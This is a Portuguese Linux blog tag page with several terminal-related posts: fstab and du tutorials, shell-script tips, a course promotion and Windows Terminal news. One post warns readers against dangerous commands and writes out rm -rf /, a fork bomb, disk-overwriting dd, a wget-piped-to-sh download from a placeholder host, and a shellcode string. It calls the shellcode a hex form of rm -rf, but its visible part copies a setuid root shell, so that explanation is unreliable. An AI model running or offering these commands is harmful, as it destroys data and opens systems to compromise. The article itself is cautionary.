Diolinux - O modo Linux e Open Source de ver o Mundo

Responsive Ad Slot

Mostrando postagens com marcador terminal. Mostrar todas as postagens
Mostrando postagens com marcador terminal. Mostrar todas as postagens

Microsoft lança o novo Terminal do Windows, com integrações com Command Prompt, PowerShell, e WSL

Nenhum comentário

quarta-feira, 8 de maio de 2019

Em mais um anúncio feito na sua conferência para desenvolvedores, a Build 2019,  a Microsoft anunciou a reformulação total do seu terminal. A principal novidade é poder utilizar em um só lugar o Command Prompt, PowerShell e o WSL. O anúncio também consta no blog oficial da Microsoft.


 Microsoft lança o novo Terminal do Windows, com integrações com Command Prompt, PowerShell, e WSL






O novo terminal do Windows se chamará, Windows Terminal (nada muito criativo 😁) e terá agora a possibilidade de abrir múltiplas abas, como já víamos nos terminais das distros Linux, mas no caso do Windows, podendo ser utilizado em cada aba uma função diferente, como em uma o Command Prompt (Prompt de Comando), em outra o PowerShell e em uma terceira aba podendo abrir o terminal do Ubuntu via WSL. Assim trabalhando com as três ferramentas em um só lugar.



O mais curioso, foi que a Microsoft fez um vídeo promocional de 50 segundos para divulgar essa nova versão do Terminal. Tanto que chamou a atenção do Alan Pope, um dos devs da Canonical que trabalha na parte dos Snaps, que fez o seguinte comentário:

“Eu nunca tinha visto um vídeo de marketing para um terminal antes. E não esperava que a Microsoft iria fazer um e tão bem feito…”

O comentário foi feito tanto no vídeo da Microsoft quanto no seu Twitter.

       

Algo que sempre estamos pontuando aqui no Diolinux é a carência de marketing no Linux, claro que na parte de servidores sistemas como o Suse Linux possuem uma ótima pegada com suas paródias, mas marketing vai além. Curiosamente o terminal que é sempre taxado como algo “intocável e retrógrado” ganha uma atenção por parte da MS com esse vídeo promocional. Será que enfim estaremos vendo o fim de um tabu, usar o terminal? Visivelmente o anúncio tinha como foco os desenvolvedores (e também esse era o objetivo da conferência). Entretanto alguns anos atrás não era de se esperar um vídeo desses encabeçado pela Microsoft, não foi atoa que o Alan Pope e muitos ficaram surpresos.

Claro, um terminal é só um terminal, mas isso não quer dizer que ele precise ser “feio” ou desagradável de usar, essa versão do terminal da Microsoft me lembra um pouco o terminal do Deepin, misturando conceitos também do terminal do KDE e do GNOME, o resultado final acabou sendo “de encher os olhos”.

Este artigo não acaba aqui, continue trocando uma ideia lá  no nosso fórum.

Espero você até a próxima, um forte abraço.

_____________________________________________________________________________
Viu algum erro ou gostaria de adicionar alguma sugestão a essa matéria? Colabore, clique aqui.


5 Dicas PRO para Shell Script

Nenhum comentário

segunda-feira, 1 de abril de 2019

Dizem que depois que você aprende o Terminal é que você realmente começa a entender Linux profundamente. Seja isso uma verdade ou não, de fato, é verdade que dominar o terminal te dá algumas vantagens em relação ao que você pode fazer com o seu sistema. Hoje você vai conferir 5 dias para quem quer ser um PRO no Shell Script.







1 - Portabilidade dos seus Shell Script



Muitas vezes indicamos automaticamente o caminho da Shebang como #!/bin/bash, no entanto, se o Bash estiver instalado num diretório diferente (como em sistemas como FreeBSD, OpenBSD e algumas distros Linux) provavelmente ela não conseguirá encontrar o interpretador e seu programa/script não funcionará.

Logo, a melhor maneira de você evitar esse tipo de problema é indicar o caminho da env que é padrão em todos os sistemas e a mesma se encarrega de redirecionar pro caminho onde o interpretador está localizado. Então, procure sempre iniciar seus programas/scripts com o seguinte caminho após a Shebang:

#!/usr/bin/env bash

O mesmo vale para outros Shells: ZSH, FISH, etc.

2 - Procure sempre pôr cabeçalho nos seus scripts


Os cabeçalhos são importantes para que a pessoa saiba pra que serve seu programa/script, como lhe contactar em caso de algum problema, qual a forma de utilização e entre diversos outros pontos positivos.

Geralmente num cabeçalho deve haver o "help", "changelog", "TODO", "FIXME",... ou seja, diversas informações necessárias. No entanto, em resumo, algumas informações são fundamentais, tais como: Descrição do script; Autor; Versão e Licença. Veja abaixo um exemplo mínimo e básico de um cabeçalho:

# autor: Nome Sobrenome <site.dominio>
# descrição: O que seu Script/Programa faz 
# version: 1.0
# licença: MIT License

O exemplo acima está em Português, mas é interessante deixá-lo em Inglês, para ficar ainda mais global.

3 - Separe por função


O motivo inicial da Linguagem Orientada à Objetos é a organização. No entanto, linguagens procedurais ou estruturais podem manter a organização separando cada "transformação" em funções . Em Shell Script, você pode declarar uma função em duas formas de sintax, veja abaixo ambas as formas:

USANDO a palavra function
function minha_funcao(){
echo "Minha função"
}
Ou SEM USAR a palavra function
minha_funcao(){
echo "Minha função"
}
Para chamar a função, basta invocar o nome da função no script, ex.: minha_funcao

4 - Deixe seu código com indentação


No Shell Script, como na maioria das linguagens de programação, a indentação não é obrigatória, no entanto, ela é interessante para deixar seu código mais organizado, então procure sempre manter seu código indentado.

Uma dica legal é se você usar o editor Vim , basta você selecionar tudo pressionando a tecla ESC e em seguinda combinando as teclas ggVG , após tudo selecionado, basta agora teclar duas vezes o sinal de igual == e seu código será automáticamente indentado. Mágica! :)

5 - Declare nomes descritivos


Quando criar nomes de variáveis e de funções, procure descrever (não tanto, lógico) e separando com underline **_** , pois ficará mais profissional e menos provável de haver conflito de nomes e situações desagradáveis, alguns exemplos de como descrever: set_name, get_name, display_info_start, etc.
  
Se você ainda não domina Shell Script e o Terminal Linux. Aproveite uma promoção onde você pode adquirir 5 CURSO DO TERMINAL LINUX incluindo Shell Script, Expressões Regulares, Vim e Sed. Clicando nesse link http://bit.ly/Promo5pg para adquirir com o PagSeguro ou nesse link http://bit.ly/5CursosLinux para adquirir com o PayPal. Se quiser mais detalhes da promoção veja essa postagem: 5 Cursos do Terminal Linux para você! .

Esse artigo foi escrito em parceria com a galera do Terminal Root, os quais são os autores dos cursos mencionados acima, até a próxima!
_____________________________________________________________________________
Viu algum erro ou gostaria de adicionar alguma sugestão a essa matéria? Colabore, clique aqui.


5 Cursos do Terminal Linux para você!

Nenhum comentário

quinta-feira, 28 de março de 2019

Agora que você já perdeu o medo do terminal Linux chegou a hora de dar um passo a mais e usar todo o potencial que ele te oferece como uma ferramenta para controle, automação e até diversão, por que não?

Curso de Terminal Linux






O que você vai aprender se fizer o curso?


Absolutamente tudo sobre Shell Script, além de usar o editor Vim com facilidade. Comandos de edição de arquivos via linha de comando com Sed, e também aprender a manipular dados específicos de arquivos com Expressões Regulares.

São mais de 60 vídeos, mais scripts, programas, apostilas PDF e muito mais!
O PayPal disponibilizou alguns descontos pra nós e vamos repassar esses descontos pra você!
Se você ainda não tem uma conta no PayPal crie agora e divida em 10x ou pague no boleto!

E aproveite essa Big Promoção de 5 Cursos para você poder baixar todo conteúdo pro seu computador:
  • Curso do Iniciante ao Avançado de Shell Script - Onde você aprenderá o essencial, além de manipular banco de dados e usar Shell Script para Web.
Valor: R$ 39,90. Mais detalhes em: terminalroot.com.br/bash
  • Curso do Editor Vim - Você aprenderá a customizar o Vim, podendo por exemplo mapear qualquer tecla para responder como deseja.
Valor: R$ 29,90 Mais detalhes em: terminalroot.com.br/vim
  • Curso Extremamente Avançado em Shell Script Bash - Para criação de animações, instaladores de distros, games e muito mais, como já comentado neste artigo:
Valor: R$ 174,90 Mais informações em: terminalroot.com.br/shell
  • Curso Completo de Sed - Editor de Fluxo - Para manipulação de texto via linha de comando> Valor: R$ 29,99 Mais detalhes: terminalroot.com.br/sed
  • Curso Completo de Expressões Regulares - Para selecionar e dados especícificos em diversas linguagens de programação, servidores, editores e processadores de texto, banco de dados etc. Valor: 34,80 Mais informações: terminalroot.com.br/regex/
PORÉM, como aqui não brinca quando o assunto é promoção, agora, em uma parceria entre o Diolinux e o Terminal Root, você pode levar todos os 5 cursos por apenas R$ 99,00!

Como você pode comprar?


Na verdade, de forma muito simples. Todo o material dos cursos será enviado para você por e-mail, então basta fazer a compra através do PayPal: http://bit.ly/5CursosLinux

Depois disso é só aguardar o recebimento do material, se tiver alguma dúvida, entre em contato diretamente com o Marcos em terminalroot.com.br/promo .

Fique ligado no blog e o no canal Diolinux, pois provavelmente sortearemos alguns cursos completos para nossos leitores e inscritos em breve!

Até a próxima!
_____________________________________________________________________________
Viu algum erro ou gostaria de adicionar alguma sugestão a essa matéria? Colabore, clique aqui.


Como configurar discos e partições no Linux usando FSTAB

Nenhum comentário

terça-feira, 5 de março de 2019

Quando eu estava aprendendo Linux, lembro de ter lido em algum lugar algo que dizia: "No Linux tudo são arquivos". E querendo ou não, de fato, toda a configuração do sistema, de forma geral, é feita através de "simples" arquivos de textos, configurados de forma a fazer tudo o que você vê na sua tela funciona como se deve. Um desses arquivos é o FSTAB (File Systems Table).

Como configurar o FSTAB






Mesmo que você nunca sequer tenha pensando nisso, a sua distribuição Linux faz, toda a vez que você liga o seu computador e dá boot no sistema operacional, a montagem das partições do seu disco, do seu SWAP e de onde fica cada coisa. Esse é um processo automático que ocorre baseado nas informações contidas em um arquivo que fica no diretório /etc/fstab.

Configurando FSTAB


O que faz com que muitas pessoas tenham receio do FSTAB é que ele é um arquivo realmente não muito claro, especialmente se comparado com outros que existem por aí, que possuem várias linhas comentários informando como trabalhar com as informações contidas neles mesmos.

Meu conselho mais básico é: Encare o FSTAB como o que ele é: uma tabela. O nome TAB (de Table) não está ali à toa. Ao abri-lo, para facilitar, tente visualizar as colunas e linhas, isso vai ajudar bastante.

Você pode abrir ele com qualquer editor de textos que quiser, como o gedit, xed, pluma, entre outros, mas que tal brincarmos no terminal um pouco? 😄

Vocẽ pode fazer uma leitura rápida do que está contido no seu FSTAB com esse comando:
cat /etc/fstab
Isso deve te trazer informações semelhantes a essa:

FSTAB Linux

O FSTAB é responsável pela montagem do seu próprio sistema, por isso, ele é um arquivo bem "sensível", caso você esteja apenas estudando, é recomendo fazê-lo em uma máquina virtual

Outra possibilidade é fazer backup do arquivo antes de começar a editá-lo, por exemplo:
sudo cp /etc/fstab /etc/fstab-bkp
Se precisar usar esse arquivo de backup, coloque ele de volta no lugar assim:
sudo cp /etc/fstab-bkp /etc/fstab
 Vamos usar um editor de textos simples e disponível para todas as distros Linux para editar o FSTAB, o Nano. Para abrir o arquivo com propriedades adequadas para modificação, use:
sudo nano /etc/fstab
Ou rode o comando como Root, caso a sua distro não possua o seu usuário dentro do sudoers

Entendendo o FSTAB


Esse é o ponto primordial. Como já informado, o FSTAB nada mais é do que uma tabela (mesmo que não tenha muito essa cara inicialmente), cada coluna suporta algumas informações diferentes. São elas:

Configuração FSTAB

Coloquei efetivamente em uma tabela esse exemplo para ficar um pouco mais claro, mas vale uma observação, muitas vezes no lugar de "/dev/sda1" do exemplo, pode haver a UUID do dispositivo, de uma forma semelhante a essa: UUID=04b60adc-ccc2-406e-9cbb-fb80f9c4e5fb. No fim, é isso que bagunça um pouco as coisas, mas você pode montar os seus discos e partições apenas sabendo o nome deles, usando o comando:
lsblk

Repare os nomes abaixo da columa "NAME" e ao lado você consegue ver o tamanho e o tipo, se é "apenas leitura" (RO) e se já está montado em algum lugar em "MOUNTPOINT".

Antes de processeguirmos, é importante que você conheça alguma das opções envolvendo as colunas do FSTAB:

File System: Pode conter a UUID do dispositivo ou o endereço dele. Dispositivos como partições e discos ficam sempre em /dev no mundo Linux, então uma partição (como esta de 1,4T na imagem acima) poderia ser encontrada em /dev/sdc1.

Para verificar o UUID de uma partição para usar no lugar do endereço, use o comando:
blkid
Mount Point: É simplesmente o local onde a partição ou disco está montado. Ela pode apontar para qualquer lugar do sistema à partir da raiz (/). Geralmente os dispositivos montados automaticamente pelo sistema, como pen drives, HDs Externos, etc. são montados em /media, porém, quando isso é feito manualmente é comum usar o diretório /mnt, mas realmente, você pode montar em qualquer lugar que quiser.

Type: Nessa columa você deve colocar o tipo do sistema de arquivos de cada disco, você pode ver qual o sistema de arquivos a sua partição usa com o comando:
sudo file -s /dev/sdc1
Observe que a parte sublinhada deve ser trocada pelo caminho da unidade que você quer observar, para saber qual o nome das unidades é possível usar o comando que mostramos antes, o lsblk. Esse comando "file -s" ainda pode ser útil para você descobrir a UUID do disco, além de permitir que você veja em qual sistema de arquivos o seu disco está formatado.

Alguns comuns seriam:

- ext4
- swap

- ntfs-3g- vfat
- btrfs

- ntfs
- auto

Se por algum motivo você não sabe ou não conseguiu descobrir qual o  filesystem do disco, você pode tentar usar a opção "auto", que tenta adivinhar o formato na hora da montagem.

Options: Nessa coluna do FSTAB você vai adicionar as opções de montagem que existem. Existem diversas opções diferentes, eu vou listar algumas das mais comuns aqui. Várias opções podem ser usadas em uma mesma linha, bastando adicionar uma virgula apenas entre cada uma, sem a necessidade de espaço.

- auto/noauto: Essa opção permite que o dispositivo seja montado automaticamente durante o boot do sistema, sendo que "auto" é a opção padrão, se você não quer que o disco seja montado durante o boot, é necessário dizer explicitamente que você não quer isso colocando a opção "noauto".

- dev/nodev: Indica se o disco ou partição deve ou não ser considerado um dispositivo que contém um sistema de arquivos "especial". Geralmente a opção "nodev" é usada em sistemas que tem acesso público e tal opção impede que qualquer usuário possa fazer certas alterações, como criar um "device file".

- exec/noexec: Como você pode ver, as opções até que são simples de ententer, uma permite algo, a outra nega. Nesse caso você pode permitir ou negar que os binários nessa partição ou disco sejam executados.

- rw/ro: Se você associar aos seus significados fica fácil de ententer, rw (read and write/leitura e escrita) e ro (read only/apenas leitura).

- user/users/nouser: Nessa sessão podemos ter três opções. A opção "user" permite que qualquer usuário monte esse sistema de arquivos, o que automaticamente ativa outras funções como noexec, nosuid e nodev, a menos que você informe o contrário. Se a opção "nouser" for especificada, apenas o root poderá montar esse sistema de arquivos, já se a opção "users" for a selecionada, qualquer usuário dentro do grupo users será capaz de montar o dispositivo.

- defaults: Como o nome sugere, essa opção usa os padrões do Linux/da distro. A configuração padrão é definida conforme o sistema de arquivo. Geralmente isso quer dizer que as opções serão equivalentes a rw,suid,dev,exec,auto,nouser,async.

- owner: Permite que apenas o dono do dispositivo o monte, ou seja, quem criou o sistema de arquivos.

Existem muitas outras opções disponíveis, e uma leitura bacana para se fazer sobre isso pode ser nas páginas:

- Ubuntu Community Help
- ArchWiki
- Debian Wiki

Dump: Nessa coluna você pode indicar através de um (1) ou zero (0) se a unidade que está sendo montada deve receber um backup do programa dump. Colocar Zero indica que esse sistema de arquivos nunca será "backupeado" automaticamente dessa forma, em alguns casos, é preciso ver se o dump está instalado na distro.

Pass: O número que for adicionado nessa linha indicada a ordem em que o fsck vai fazer a checagem do disco por erros na hora do boot.

1 - Verifique essa partição primeiro.
2 - Verifique depois de verificar o primeiro.
0 - Não verifique.

Com isso finalizamos a explicação de cada uma das opções mais populares para a montagem de uma partição. Para você entender um pouco melhor, vamos para um caso prático.

Montando um disco e adicionando no FSTAB


Voltemos para a parte  onde eu mostrei  o comando "lsblk". Digamos que eu queira montar a minha partição "sdc1" de 1,4TB através do FSTAB na inicialização do meu sistema.

Primeiro vamos criar o ambiente ideal para fazer montagem. Eu vou fazer a minha montagem dentro de /mnt, então vou criar uma pasta dentro desse direitório para montar o meu disco, assim fica tudo organizado. Esse disco de 1,4TB é um HD de backup, então vou chamar a pasta de "dados".
sudo mkdir /mnt/dados
O comando acima cria uma pasta, ou diretório, dentro da minha pasta /mnt com o nome "dados",  então agora vamos indicar esse ponto de montagem no fstab, vamos editá-lo usando o editor nano.
sudo nano /etc/fstab
FSTAB configurada
Será que você consegue ver a ideia da tabela em ação agora? :)

No nano você deve navegar usando as setas do seu teclado até a última linha e digitar os dados da partição que você quer montar, no meu caso:

/dev/sdc1 /mnt/dados ext4 defauts 0 0

Indicando, em ordem, o disco que eu quero montar (/dev/sdc1), onde eu quero que seja montado (/mnt/dados), qual o sistema de arquivos do disco (ext4), configurações padrões (defaults) e configuranção de dump e pass setadas para zero (0).

Você pode também fazer comentários (como eu fiz na imagem acima) adicionar um # e depois escrever o que quiser. Tudo o que ficar nessa linha será ignorado na leitura do fstab pelo sistema, esses comentários servem apenas para interação humana e melhor compreenção.

No nano você geralmente usa  a tecla Ctrl (Control) combinada com alguma outra tecla para executar uma função, porém, você pode, aqui, para sair e salvar, pressionar "Ctrl+X", o editor vai te perguntar se você quer salvar o arquivo, pressione o "S" (de SIM) e sobrescreva o seu fstab dando "enter".

Dica: Tome cuidado para não alterar o nome do arquivo, ele deve continuar se chamando fstab!

Muito bem, de fato, agora se você reiniciasse o seu computador a sua partição ou disco seria montada no diretório indicado, porém, você pode fazer isso manualmente para montar o dispositivo agora mesmo usando esse comando:
sudo mount -O /dev/sdc1 /mnt/dados 
Lembrando que "/dev/sdc1" deve ser alterado para a nomenclatura que corresponde ao seu disco e "/mnt/dados" deve ser alterado pelo caminho e nome da pasta onde você quer fazer a montagem. 

Com isso você já tem todas as informações excenciais para fazer a montagem das partições do seu servidor, ou até mesmo na sua distro de desktop, se você for "mais raiz". 😀

Fazendo montagens para interface gráfica


Tem uma galera que fica um pouco presa ao "old way" de fazer as coisas, e esse nem sempre é jeito é o mais fácil. Claro, se é um servidor, se você é um profissional ou um estudante de Linux é outra história, mas se você tem uma interface na sua frente e só quer montar o seu disco e nada mais, nada impede que você use uma interface.

Existe um utilitário do GNOME que vem com a maior parte das distros chamado "GNOME Disks", o nome do pacote geralmente é "gnome-disk-utility" ou "gnome-disks" e você o encontra no repositório de qualquer distro. Quando o sistema está traduzido para Português, geralmente você o o encontra no menu do sistema procurando por "Discos".

GNOME Disks

Ele é um software muito legal, tem vários recursos para você se informar sobre os os seus discos. Você pode ver os desenhos das partições, tamanhos, formatos, sistemas de arquivos, tipos, fazer benchmarks, fazer testes de saúde dos discos, entre muitas outras coisas. Realmente fantástico.

Umas das funcionalidades dele é controlar a montagem de discos, fazendo com que tudo que fizemos "na unha" antes possa ser feito através de uma simples, mas poderosa, interface.

Para seguir o mesmo exemplo, digamos que eu queira montar o meu HD de 1,4 (1,5) TB aumaticamente com o sistema, basta eu clicar no disco na esquerda, depois você pode clicar no ícone da engrenagem e ir até "opções de montagem", onde você vai encontrar várias opções de configurações, muitas delas relacionadas ao que aprendemos ao longo do post.

GNOME Disks

É interessante ver a evolução do Linux nesse sentido, o nível personalização para fazer o que você bem entender com o sistema configurando apenas arquivos é sensacional, também é curioso pensar que há algumas décadas a única forma de fazer certas coisas era via terminal e esses arquivos de configuração. Atualmente tudo pode ser mais simples e bonito, mas o poder da linha de comando continua lá para quem quiser tomá-lo.

Até a próxima!
_____________________________________________________________________________
Viu algum erro ou gostaria de adicionar alguma sugestão a essa matéria? Colabore, clique aqui.


Comando DU no Linux - Como ver o tamanho de arquivos e diretórios pelo terminal

Nenhum comentário

quinta-feira, 24 de janeiro de 2019

Eu pretendo começar uma série de artigos aqui no blog falando sobre comandos úteis no terminal, além de algumas dicas de configurações mais avançadas. Esse tipo de artigo acaba servindo como documentação extra oficial e referência para futuros artigos e vídeos que nós produziremos. Hoje vamos falar sobre o 'du'.

Comando DU Disk Usage no Linux






Imagine que você esteja mexendo no seu servidor e querendo saber quanto de espaço algum arquivo ou pasta está ocupando, o que você faria? Em modo gráfico você pode utilizar alguns softwares como o "Analisador de uso de Disco" que é excelente, olha só:


Mas caso você não tenha modo gráfico ou simplesmente queira fazer a verificação via terminal, existe um utilitário muito legal e poderoso chamado "du", uma abreviação de "disk usage", ou "uso de disco", em Português.

Como utilizar o comando DU


O comando "du" geralmente está presente em todas as distros Linux por padrão, pois faz parte do Core Utils, para saber mais sobre a sua utilização você pode usar o comando:
du --help
du-help-linux
Existem mais opções do que as mostradas nessa imagem...
Através do comando de ajuda (--help) você consegue ver todos os parâmetros comuns que o "du" te oferece, mas vamos para alguns casos práticos e algumas dicas para você utilizar ele.

A funcionalidade do "du" é simples, você usa ele com o diretório ou arquivo que quer analisar, por exemplo:
du /home
Comando du exibindo blocos


Você verá que a saída desse comando será gigantesca, listando todos os diretório acessíveis com a permissão do seu usuário (seja o normal ou o root), o problema é que o comando "du" sem parâmetros mostra os valores de espaço em blocos de disco (f*ck yeah!), o que é um pouco complicado de entender, por isso existe um parâmetro "-h", que está ali para "humanos", ou seja, para você entender os espaços, medindo os valores em GB, MB, KB, etc. Por exemplo:
du -h /home 
comando DU mostrando unidades legíveis

Como você pode ver na imagem acima, podemos ver que os os diretórios agora tem valores mais simples de entender.

Ainda assim, esse comando mostra todos os diretórios de forma individual, o que dá uma saída muito grande realmente, se você quiser exibir apenas o tamanho total, use também o parâmetro "-s" de "summarize". Ele pode ser escrito de diversas formas, veja:
du -h -s /home
du -hs /home
du -sh /home 
Todos eles lhe entregarão o mesmo resultado, mostrando os diretórios onde a leitura não foi possível por questões de permissão de usuário:

Comando Du mostrando apenas o resultado
Como é possível ver, acaba sendo uma saída muito menor
Particularmente eu gosto de escrever "du -hs diretório_ou_arquivo", porque acabei associando com "head shot" do Counter Strike e acabei nunca mais esquecendo! 😁

Como eu já tinha comentado, você também pode usar o "du" para saber o tamanho de um arquivo, a forma de fazer a medição é muito simples, basta indicar o diretório com o nome do arquivo, ou então apontar o o arquivo, caso você já esteja no diretório. Por exemplo:

Eu tenho uma ISO do Fedora na minha pasta "Downloads" dentro da minha pasta "Home", primeiro navego até ela usando o "cd":
cd ~/Downloads/
Posso dar um "ls" para conferir o nome do arquivo e então rodar um comando "du" mais ou menos assim:
du -hs Fedora-Workstation-Live-x86_64-29-1.2.iso
Medindo arquivos com o DU

Como você pode ver, o terminal me retorna que a ISO do Fedora de cerca de "1.8 GB" de tamanho. Simples, não?

Algumas dicas um pouco mais avançadas para o "du"


Até então você viu a utilização básica do "du" para a medição do tamanho de diretórios e arquivos, mas e se eu quiser organizar a saída do "du" para saber quais arquivos estão ocupando mais espaço, ou para saber quais pastas estão mais cheias de arquivos e ocupando mais espaço, como fazer?

Para isso vamos usar o famoso "pipe" para jogar a saída de um comando em outro. Neste caso vamos usar a saída do "du" e jogá-la no "sort", outro comando bem bacana para ordenar as coisas:
du -hs * | sort -h
O comando acima está dizendo para o "du" usar o modo "humano" e simplificado (--hs) para todos os arquivos do diretório (*), e jogar a saída desse comando (|) para o que o "sort" ordene eles por tamanho usando valores "humanos" (-h).

Eu apliquei esse comando em uma pasta cheia que ISOs de sistema que eu tenho no computador, assim eu consigo saber qual delas é que ocupa mais espaço, a saída foi a seguinte:

usando o du para medir o tamanho das ISOs

Se eu quiser saber qual destas ISOs foi a última que eu baixei, posso usar o "du" dessa forma:
du -h --time *
Você também pode usar o "du" para analisar certos arquivos que contenham ou não contenham algum texto, por exemplo, quero saber o tamanho de todo os "buntus" que eu tenho nessa coleção de ISOs:
du -hs * | grep buntu -h
Contando ISOS do Ubuntu

Funciona exatamente como o exemplo anterior, com a diferença de que o "grep" está pegando resultados que tenham o texto "buntu" e me exibindo.

Como você deve imaginar, existem muitas combinações possíveis, então é bom estudar as opções que o "--help" do "du" te mostra, mas por fim, vou deixar uma última dica, se você quiser saber a soma total do diretório, além de fazer a contagem individual, use também o parâmetro "-c", essa forma:
du -hsc diretório_desejado

DU lendo o tamanho total

Repare que no final do comando você consegue ver o total do diretório.

Toda vez que se fala no "du", muita gente fica pensando em como usá-lo para verificar, não quanto espaço está sendo usado, mas quando espaço resta. Essa lição pode ficar para outro artigo, mas para não deixar você sem a resposta, a forma mais simples de verificar isso não é usando o "du" e sim outro utilitário chamado "df", abreviação para "disk filesystem", você pode usá-lo assim para ver como está a utilização das suas partições:
df -h
O resultado será parecido com isso:

Ver utilização de disco via linha de comando

Espero que o artigo tenha te ajudando a entender um pouco mais das ferramentas que estão disponíveis para você utilizar no seu servidor ou mesmo na sua distro de desktop, caso você goste de usar comandos no terminal. Este é só o primeiro artigo de uma série que eu pretendo fazer para mostrar algumas coisas um pouco mais avançadas do mundo Linux, incluindo configurações de arquivos mais sensíveis do sistema, você não perde por esperar! :)

Até a próxima!
_____________________________________________________________________________
Viu algum erro ou gostaria de adicionar alguma sugestão a essa matéria? Colabore, clique aqui.


7 comandos perigosos do Linux que você NUNCA deve executar

Nenhum comentário

quinta-feira, 17 de janeiro de 2019

Como o número de usuários leigos de Linux vem aumentando com o tempo, acho pertinente alertar as pessoas sobre alguns comandos que podem ser perigosos, tanto para o sistema, quanto para os dados contidos no computador.

7 Comandos perigosos do mundo Linux




O terminal é uma ferramenta muito poderosa, por conta disso é bom você dominá-lo, ou pelo menos entendê-lo, para evitar problemas no seu sistema baseado em Linux.
Veja também: O curso no Diolinux EAD para aprender a dominar o terminal
Os grandes problemas que você pode enfrentar usando o terminal de forma indiscriminada normalmente estão atrelados a comandos de sobrescrita de dados, então vamos mostrar alguns aqui que você deve prestar especial atenção quando vir alguém sugerindo que você faça no seu computador com Linux.

Atenção: Você NÃO deve executar nenhum destes comandos no seu computador, isso pode causar danos irreversíveis que nós não nos responsabilizamos, o artigo tem a intenção de ser instrutivo, justamente para evitar este tipo de situação.

1 - rm -rf


É um comando clássico do do Linux que teoricamente não faz nada de mais, ele serve apenas para apagar arquivos, e é aí que mora o perigo. Dependendo da forma que ele for aplicativo o resultado pode ser muito desagradável, por isso é importante você entender o que os comandos fazem, vamos explicar um pouco melhor neste exemplo:
- rm: comando usado no Linux para deletar arquivos.
- rm -r: o comando deleta pastas recursivamente, mesmo que a pastas esteja vazia.
- rm -f: cUsando este parâmetro, o propriedade de "apenas leitura" que um arquivo tenha é removida sem perguntar, permitindo que o arquivo seja apagado.
- rm -rf / : Usando a combinação dos dois parâmetros com a "/" você diz para o sistema apagar tudo que está no diretório raiz do sistema.
- rm -rf * : Força o apagamento de tudo que está no diretório atual ou no de trabalho, dependendo de onde você estiver.
- rm -rf . : Acrescentando um ponto, você pode apagar também as pastas ocultas, além das normais.

Tome muito cuidado ao executar um comando destes, especialmente se for feito como root ou usando o sudo.


Tão perigoso que pode ser este comando, que atualmente o Linux se protege contra ele, se você rodá-lo, mesmo com sudo ou como root, ele não vai funcionar, para isso é preciso usar os parâmetros descritos na imagem acima. Da mesma forma que o Linux protege você de destruir o sistema sem querer, ele também permite que você o destrua mediante a ter certeza de que é realmente isso que você quer, curioso, não é?

2 - :(){:|:&};:


Este comando funciona como uma "Fork Bomb", ele opera definindo uma função chamada ':', que se chama duas vezes, uma vez em primeiro plano e outra em segundo plano, o processo se repete indefinidamente até que o sistema trave.

3 - qualquer comando para > /dev/sda


A forma com que o Linux lê as partições e discos é diferente do Windows, por conta disso, normalmente novatos não conseguem entender em primeira instância como eles são distribuídos. Normalmente a localização dos dispositivos de armazenamento do sistema ficam dentro de /dev, sendo que podem haver vários por ali e normalmente o sda está presente.

O problema do comando acima é que ele redireciona a saída de qualquer comando que seja colocado para o seu bloco de armazenamento, desta foma sobrescrevendo alguns dados e corrompendo outros.

4 - mv pasta/diretório /dev/null


Eu costumava brincar sobre o /dev/null me referindo a ele como o "buraco negro" do Linux. Tudo que é enviado para ele é perdido "para sempre". Então tome cuidado ao mover qualquer coisa para esta localização. O comando mv serve para mover arquivos ou diretórios para o destino indicado, se este destino for o /dev/null você estará mandando seus arquivos pra Nárnia.

5 - wget http://malicious_source -O- | sh


Este comando vai aparecer para você instalar alguns programas. O wget é o programa responsável por fazer o download da URL que vem logo após, ele é bem útil para baixar arquivos em geral, o problema está no arquivo que ele baixa e na sequência do comando  que o executa no caso dele ser um shell script. Só baixe arquivos desta forma de fontes que você considera confiáveis e se estiver na dúvida, baixe apenas o arquivo de shell, eliminando qualquer parâmetro que apareça após o link, assim você pode abrir ele em um editor de texto de sua preferência e verificar o que há dentro dele.

6 - dd if=/dev/random of=/dev/sda


Assim como o ítem 3 da nossa lista, o grande problema aqui é o destino ser o /dev/sda. Tome cuidado. O comando dd pode ser muito útil para copiar arquivos e até mesmo partições inteiras, como no exemplo 6, mas se a saída for um outro disco, tome cuidado, pois o resultado irá sobrepor os dados lá existentes.

7 - Comandos disfarçados


Como eu comentei à princípio, o terminal é uma ferramenta poderosa, se você não dominá-lo, é bom ter cuidado com que você for rodar nele, se o você não fala a língua do terminal, saiba que ele fala muitas outras. O comando abaixo nada mais é do que o comando indicado no primeiro item da nossa lista, só que em forma hexadecimal.

char esp[] __attribute__ ((section(“.text”))) /* e.s.p release */ = “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″ “\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″ “\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″ “\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″ “\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″ “\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″ “\x6e\x2f\x73\x68\x00\x2d\x63\x00″ “cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;”;

Ele tem o mesmo propósito do famigerado "rm -rf /", por isso, não rode coisas no terminal que você não sabe para quem servem, existem muito conteúdo grátis a internet para você estudar sobre e até mesmo alguns bons cursos pagos, como é o caso do "Dominando o Terminal" aqui do blog mesmo, mas em linhas gerais, se você evitar colocar comandos que você não sabe para que servem direito, os problemas já serão minimizados. 

Agora espalhe este conhecimento para ajudar mais pessoas a ficarem precavidas sobre estes pequenos percalços da vida computacional.

Até a próxima!
_____________________________________________________________________________
Viu algum erro ou gostaria de adicionar alguma sugestão a essa matéria? Colabore, clique aqui.




Conheça o Bat, um clone do cat com Asas

Nenhum comentário

sexta-feira, 4 de janeiro de 2019

Não estamos falando de morcegos e gatos literalmente, mas sim do famoso comando "cat" que permite que você visualize o conteúdo dos arquivos no Linux. Uma das curiosidades do mundo open source e que até coisas básicas, relativamente simples e consolidadas como o comando "cat" podem possuir alternativas. Conheça hoje o "bat".

Comando bat em substituição ao cat



O Bat é um clone do comando cat que possui Syntax Highlighting (colorização da saída de acordo com o tipo do documento), numeração de linhas e ainda possui integração com o Git, mostrando partes que foram alteradas do arquivo de acordo com o último commit.

Além disso, ele ainda possui temas para realce de sintaxe para linguagens de programação e de marcação, concatenação e paginação de arquivos e entre outras facilidades.

Como instalar?


